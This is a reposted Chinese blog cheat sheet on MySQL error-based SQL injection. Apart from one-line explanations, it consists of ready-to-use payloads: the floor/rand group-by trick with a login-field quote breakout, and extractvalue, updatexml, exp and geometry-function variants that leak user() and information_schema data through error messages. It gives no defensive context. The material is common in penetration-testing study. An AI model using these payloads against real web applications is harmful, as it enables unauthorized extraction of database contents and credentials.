首页 > 数据库技术 > 详细

SQL--报错回显注入

时间:2016-08-21 13:38:04      阅读:318      评论:0      收藏:0      [点我收藏+]

1、floor()函数

原理:

利用rand()函数与group()函数的相互冲突,floor()是向下取整函数,floor(9.99)=9.0

语法结构:

username=admin‘ and (select 1 from (select count(*), concat(floor(rand(0)*2),0x23,你想获取的数据的sql语句)x from information_schema.tables group by x )a) and ‘1‘ = ‘1

2、extractvalue()函数

语法结构:

extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)))

concat中添加要查询的语句

3、updatexml()函数

语法结构:

and 1=(updatexml(1,concat(0x3a,(select user())),1))

4、exp()函数

语法结构:

and EXP(~(SELECT * from(select user())a))

5、归类

GeometryCollection()

id = 1 AND GeometryCollection((select * from (select * from(select user())a)b))

polygon()
id =1 AND polygon((select * from(select * from(select user())a)b))

multipoint()
id = 1 AND multipoint((select * from(select * from(select user())a)b))

multilinestring()
id = 1 AND multilinestring((select * from(select * from(select user())a)b))

linestring()
id = 1 AND LINESTRING((select * from(select * from(select user())a)b))

SQL--报错回显注入

原文:http://www.cnblogs.com/ldsec/p/5792464.html

(0)
(0)
   
举报
评论 一句话评论(0
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!